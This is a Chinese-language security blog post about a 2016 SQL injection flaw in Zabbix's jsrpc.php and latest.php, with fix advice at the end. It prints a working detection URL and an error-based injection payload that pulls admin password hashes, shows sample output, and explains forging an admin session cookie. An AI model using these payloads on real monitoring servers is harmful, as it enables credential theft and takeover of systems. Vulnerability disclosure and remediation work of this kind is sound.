IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Zabbix爆出高危SQL注入漏洞,可获操作系统权限

    小残发表于 2016-11-06 07:24:43
    love 0

    漏洞概述

    zabbix是一个开源的企业级性能监控解决方案。近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。 但是无需登录注入这里有个前提,就是zabbix开启了guest权限。而在zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。

    影响程度

    • 攻击成本:低
    • 危害程度:高
    • 是否登陆:不需要
    • 影响版本:2.2.x,3.0.0-3.0.3
    • 漏洞插件:Zabbix前台jsrpc.php SQL注入漏洞

    漏洞测试

    在zabbix的地址后面添加:

    • 利用方式一

    /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
    estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
    story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
    e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
    17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
    mark_color=1

    如果出现下列代码则证明漏洞存在

    输出结果,出现如下图黄色关键字

    You have an error in your SQL syntax"

    1

    实战测试

    利用EXP代码

    /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2
    &screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph
    &profileIdx2=(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select passwd from  users limit 0,1),0x7e))) 
    from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
    &updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297
    &action=showlatest&filter=&filter_task=&mark_color=1

    出来的结果类似如下 即注入出了用户passwd,当然也可以直接注入sessionid

    [Duplicate entry '~cd7xxxxxxxxe66d9f4b2c6wwwwwww655~1' for key 'group_key']</li></ul></td></tr></table>

    可获得最高权限

    补充:

    以上为仅为漏洞验证测试方式。

    攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。

    有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。

    修复方案:

    尽快先去升级到最新版吧,据说3.0.4版本已经修补。。。

    安全提示

    监控系统监控着每个企业的核心资产,一旦被黑客入侵控制,等同帮助黑客进一步渗透企业敞开了大门。

    请大家务必重视,并尽快修补此漏洞。

    漏洞报告详情:http://seclists.org/fulldisclosure/2016/Aug/82

    zabbix官方:https://support.zabbix.com/browse/ZBX-11023

    Zabbix 2.2.x, 3.0.x and trunk suffers from a remote SQL injection vulnerability due to a failure to sanitize input in the toggle_ids array in the latest.php page.
    
    For example:
    latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
    
    Result
    
    SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1)
    latest.php:746 → require_once() → CProfile::flush() → CProfile::insertDB() → DBexecute() in /home/sasha/zabbix-svn/branches/2.2/frontends/php/include/profiles.inc.php:185

    漏洞修复

    • 版本升级
    • 打补丁
    • 关闭guest

    后记

    注:部分漏洞信息收集自网络


    博客头像
    作者: 小残 绳命不息 |折腾不止 |我一天不折腾心里难受
    转载请以链接形式注明本文地址:https://www.exehack.net/4147.html
    版权所有© 小残博客 | 关注网络安全 | 本网站内容采用 BY-NC-SA 进行授权。


沪ICP备19023445号-2号
友情链接